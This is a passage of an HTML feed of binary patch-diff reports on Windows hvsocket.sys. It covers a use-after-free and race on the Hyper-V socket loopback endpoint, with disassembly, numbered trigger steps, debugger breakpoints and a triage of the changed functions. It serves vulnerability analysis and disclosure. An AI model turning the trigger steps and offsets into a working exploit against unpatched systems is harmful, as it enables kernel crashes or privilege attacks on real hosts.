&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00070AA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00070AD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C00070EA&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00070AF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;68&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;peer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;may&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;fre&lt;/span&gt;&lt;span class="n"&gt;ed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00070B3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;48&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00070B7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00070C3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;210&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;peer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 3 — legacy path in &lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; (unpatched &lt;code&gt;0x1C0006640&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006622&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006624&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0006640&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006629&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;safe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006640&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="n"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;legacy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;
&lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00066CD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;68&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;later&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Findings 1–3 — race / use-after-free on the legacy path&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Obtain a socket handle.&lt;/strong&gt; Open an &lt;code&gt;AF_HYPERV&lt;/code&gt; socket from a process with access to the Hyper-V socket provider. &lt;code&gt;hvsocket.sys&lt;/code&gt; must be loaded.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Establish a loopback endpoint&lt;/strong&gt; so that the pending loopback entry at &lt;code&gt;endpoint+0x2b8&lt;/code&gt; is populated (via the accept/setup path in &lt;code&gt;VmbusTlLoopbackAcceptConnection&lt;/code&gt; / &lt;code&gt;VmbusTlLoopbackSetupConnection&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature gate must select the legacy path.&lt;/strong&gt; &lt;code&gt;EvaluateCurrentState&lt;/code&gt; (&lt;code&gt;0x1C0001D78&lt;/code&gt;) returns false when the evaluated feature state equals 1. Whether this is the runtime default cannot be determined from the static image and must be confirmed on the target build.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Race two operations on the same endpoint:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Thread A issues a receive-consumed notification or a send (&lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; / &lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt;), which on the legacy path reads &lt;code&gt;endpoint+0x2b8&lt;/code&gt; without a lock or reference.&lt;/li&gt;
&lt;li&gt;Thread B closes/disconnects the endpoint (&lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt;), which reads, clears, and reference-decrements the same entry.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable result.&lt;/strong&gt; If the entry's last reference is dropped by Thread B in the window between Thread A's unlocked read and its dereference, Thread A operates on freed pool memory (&lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA (0x50)&lt;/code&gt; or pool corruption), or the disconnect and notify paths race on the same slot.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The double &lt;code&gt;ExFreePoolWithTag&lt;/code&gt; observation described in earlier drafts does not occur: the two free sites in &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; free two distinct objects (A and B), each once.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Use-after-free / race condition on a kernel pool object reachable from the Hyper-V socket loopback path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Object:&lt;/strong&gt; &lt;code&gt;0x70&lt;/code&gt;-byte allocation (&lt;code&gt;VmbusTlCreateObject&lt;/code&gt;, size &lt;code&gt;0x70&lt;/code&gt;), NonPagedPool, tag &lt;code&gt;'Vnpi'&lt;/code&gt; (&lt;code&gt;0x69706E56&lt;/code&gt;). Confirmed layout: &lt;code&gt;+0x08&lt;/code&gt; reference count, &lt;code&gt;+0x48&lt;/code&gt; spinlock, &lt;code&gt;+0x50&lt;/code&gt; destructor function pointer (called via &lt;code&gt;__guard_dispatch_icall_fptr&lt;/code&gt;), &lt;code&gt;+0x58&lt;/code&gt; disposition counter, &lt;code&gt;+0x60&lt;/code&gt; SLIST head, &lt;code&gt;+0x68&lt;/code&gt; peer back-reference, &lt;code&gt;+0x210&lt;/code&gt; flags.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; A use-after-free of the entry object if the legacy path is live and the race is won. Turning this into a stronger primitive (controlled reclamation, information disclosure, or code execution) is not demonstrable from this diff and is not claimed here.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability caveat.&lt;/strong&gt; The vulnerable behavior exists only on the gate-false legacy path. The runtime default of the &lt;code&gt;EvaluateCurrentState&lt;/code&gt; feature is not encoded in a way that can be read out of the static image, so exploitability in a given deployment cannot be asserted from the binaries alone.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Aids&lt;/h2&gt;
&lt;h3&gt;Finding 1 — &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;; Entry to the function; RCX (arg1) = endpoint object&lt;/span&gt;
bp hvsocket_unpatched+0x6c30

&lt;span class="c"&gt;; The two free sites operate on DIFFERENT objects&lt;/span&gt;
bp hvsocket_unpatched+0x6df1  &amp;quot;.echo B free (rbp); r rcx; gc&amp;quot;
bp hvsocket_unpatched+0x6ebc  &amp;quot;.echo A free (rsi); r rcx; gc&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Register/Memory&lt;/th&gt;
&lt;th&gt;Significance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0006C4D&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RBX&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RBX = RCX&lt;/code&gt; = endpoint; inspect &lt;code&gt;dq rbx+2B8 l1&lt;/code&gt; for the pending entry&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0006C8B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RSI&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RSI = *(endpoint+0x2b8)&lt;/code&gt; = entry A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0006C9F&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RBP&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RBP = *(A+0x68)&lt;/code&gt; = peer object B (distinct allocation)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0006D6A&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[RBP+8]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;B reference-count decrement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0006DF1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RCX&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;pointer freed = B (only if B's count reached zero)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0006E3C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[RSI+8]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A reference-count decrement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0006EBC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RCX&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;pointer freed = A (distinct from B)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;To confirm A and B are different objects, compare &lt;code&gt;RSI&lt;/code&gt; at &lt;code&gt;0x1C0006C8B&lt;/code&gt; with &lt;code&gt;RBP&lt;/code&gt; at &lt;code&gt;0x1C0006C9F&lt;/code&gt;; &lt;code&gt;RBP&lt;/code&gt; is loaded from &lt;code&gt;[RSI+0x68]&lt;/code&gt;, a separate allocation.&lt;/p&gt;
&lt;h3&gt;Findings 2–3 — legacy unlocked read&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;; NotifyReceiveConsumed entry; RCX = endpoint&lt;/span&gt;
bp hvsocket_unpatched+0x6f50
&lt;span class="c"&gt;; Legacy read of the entry without a reference&lt;/span&gt;
bp hvsocket_unpatched+0x70a3  &amp;quot;.echo unref read of endpoint+0x2b8; r rdi; gc&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Break at the legacy read, then use &lt;code&gt;!pool @rdi&lt;/code&gt; to check whether the entry's pool block is still valid, and race a concurrent disconnect to observe the freed access.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;All nine changed functions differ solely by removal of &lt;code&gt;EvaluateCurrentState&lt;/code&gt; guard sequences and the register/line-number churn that follows. &lt;code&gt;EvaluateCurrentState&lt;/code&gt; is called 19 times across these functions in the unpatched build and 0 times in the patched build.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function (unpatched addr)&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change Type&lt;/th&gt;
&lt;th&gt;Summary&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (&lt;code&gt;0x1C0006C30&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.9128&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Spinlock acquire/release and back-reference clear made unconditional. No double-free.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; (&lt;code&gt;0x1C0006F50&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.8389&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Always uses referenced, spinlock-protected entry read. Closes UAF/race.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; (&lt;code&gt;0x1C00065EC&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.8832&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Always uses referenced entry read; legacy raw read removed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlLoopbackAcceptConnection&lt;/code&gt; (&lt;code&gt;0x1C001B630&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.6072&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Setup/teardown around the &lt;code&gt;endpoint+0x2b8&lt;/code&gt; store made unconditional.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlLoopbackSetupConnection&lt;/code&gt; (&lt;code&gt;0x1C001B1D0&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.4819&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Cleanup mutex/critical-region handling made unconditional.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlNotifyListenerAccept&lt;/code&gt; (&lt;code&gt;0x1C0005F18&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.8043&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Refcount-increment path made unconditional; no isolated memory-safety issue.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlCommonConnectCompletion&lt;/code&gt; (&lt;code&gt;0x1C0002670&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.9609&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Condition simplified from &lt;code&gt;if (gate() &amp;amp;&amp;amp; x[0x42] &amp;lt; 0)&lt;/code&gt; to &lt;code&gt;if (x[0x42] &amp;lt; 0)&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlProviderListen&lt;/code&gt; (&lt;code&gt;0x1C001E420&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.5765&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Gate removed from listen path; also rewires &lt;code&gt;VmbusTlCreateListenEndpoint&lt;/code&gt; to &lt;code&gt;VmbusTlCreateEndpoint&lt;/code&gt;. Core listen logic preserved.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VmbusTlProcessNewConnectionForListener&lt;/code&gt; (&lt;code&gt;0x1C0019E60&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.9756&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Gate removed from partition-state reads; register allocation churn otherwise.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Direction&lt;/th&gt;
&lt;th&gt;Functions&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Removed (unpatched only)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;VmbusTlCreateListenEndpoint&lt;/code&gt; (folded into the existing &lt;code&gt;VmbusTlCreateEndpoint&lt;/code&gt; by &lt;code&gt;VmbusTlProviderListen&lt;/code&gt;); &lt;code&gt;EvaluateCurrentState&lt;/code&gt; retained in the image but no longer called by these paths&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Added (patched only)&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;An independent content-level diff of both builds (matching functions by name across relocations) confirms that the nine functions above are the only ones with real logic changes. One additional function outside the connection path, &lt;code&gt;rbc_InitializeFeatureStaging&lt;/code&gt;, changes so that its feature-descriptor table is empty in the patched build (its start marker is moved to equal its end marker), which is a build/feature-staging configuration change, not a fix to the loopback path. Twenty-four other functions differ only in &lt;code&gt;HvsocketTrace*&lt;/code&gt; &lt;code&gt;__LINE__&lt;/code&gt; immediates that shift because source lines were deleted upstream; these are byte-identical once the line-number operand is normalized.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High&lt;/strong&gt; on the mechanism, &lt;strong&gt;conditional&lt;/strong&gt; on real-world reachability.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The removed guard is the WIL feature gate &lt;code&gt;EvaluateCurrentState&lt;/code&gt; (&lt;code&gt;0x1C0001D78&lt;/code&gt;), which calls &lt;code&gt;EvaluateFeature&lt;/code&gt; over &lt;code&gt;reg_FeatureDescriptors_a&lt;/code&gt; and returns &lt;code&gt;(feature_state != 1)&lt;/code&gt;. It is a feature-staging gate, not a dynamic capability resolver.&lt;/li&gt;
&lt;li&gt;The genuine security-relevant difference is that the legacy (gate-false) path in &lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; and &lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; reads &lt;code&gt;endpoint+0x2b8&lt;/code&gt; without holding the endpoint spinlock and without incrementing the entry's reference count, while the retained path (&lt;code&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt;) does both. This is a use-after-free / race window closed by the patch. Direction confirmed: the patched build is strictly more synchronized.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;There is no double-free.&lt;/strong&gt; &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; frees two distinct objects (the entry A and its peer B at &lt;code&gt;A+0x68&lt;/code&gt;), each guarded by its own reference count, each freed at most once, in both builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability is unproven.&lt;/strong&gt; The vulnerable path is taken only when the feature evaluates false. The feature's runtime default is not determinable from the static image, so exploitability in a given deployment must be confirmed on the target build (&lt;code&gt;bp 0x1C0001D78; gu; r eax&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;No claim is made about pool-spray reclamation, information disclosure, control-flow hijack, or privilege escalation; those are not supported by this diff.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>hvsocket.sys — Use-after-free / race on loopback socket endpoint access (CWE-416 / CWE-362) fixed by removing a feature gate and making reference-counted endpoint access unconditional</title><link href="https://byteray-ai.github.io/drift-corpus/item/hvsocket_ee1a427a-hvsocket-report-20260629-004311.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/hvsocket_ee1a427a-hvsocket-report-20260629-004311.html</id><summary type="html">&lt;p&gt;KB5087538&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;hvsocket_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;hvsocket_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9678&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patched build removes a Windows feature-staging gate (&lt;code&gt;EvaluateCurrentState&lt;/code&gt; @ &lt;code&gt;0x1C0001D78&lt;/code&gt;) that, in the unpatched build, selected between a legacy path that read the loopback endpoint pointer from the connection object without a spinlock or reference count, and a newer path that acquires the connection spinlock and takes a reference on the endpoint. The patch deletes the gate and the legacy path across the affected functions, so every access to the loopback endpoint now goes through the spinlock-protected, reference-counted helper. This closes a use-after-free / race window (CWE-416 / CWE-362) on the loopback endpoint object.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding: UAF / race on loopback endpoint (feature-staged fix, Medium)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Use-After-Free (CWE-416) / Race Condition (CWE-362)&lt;/li&gt;
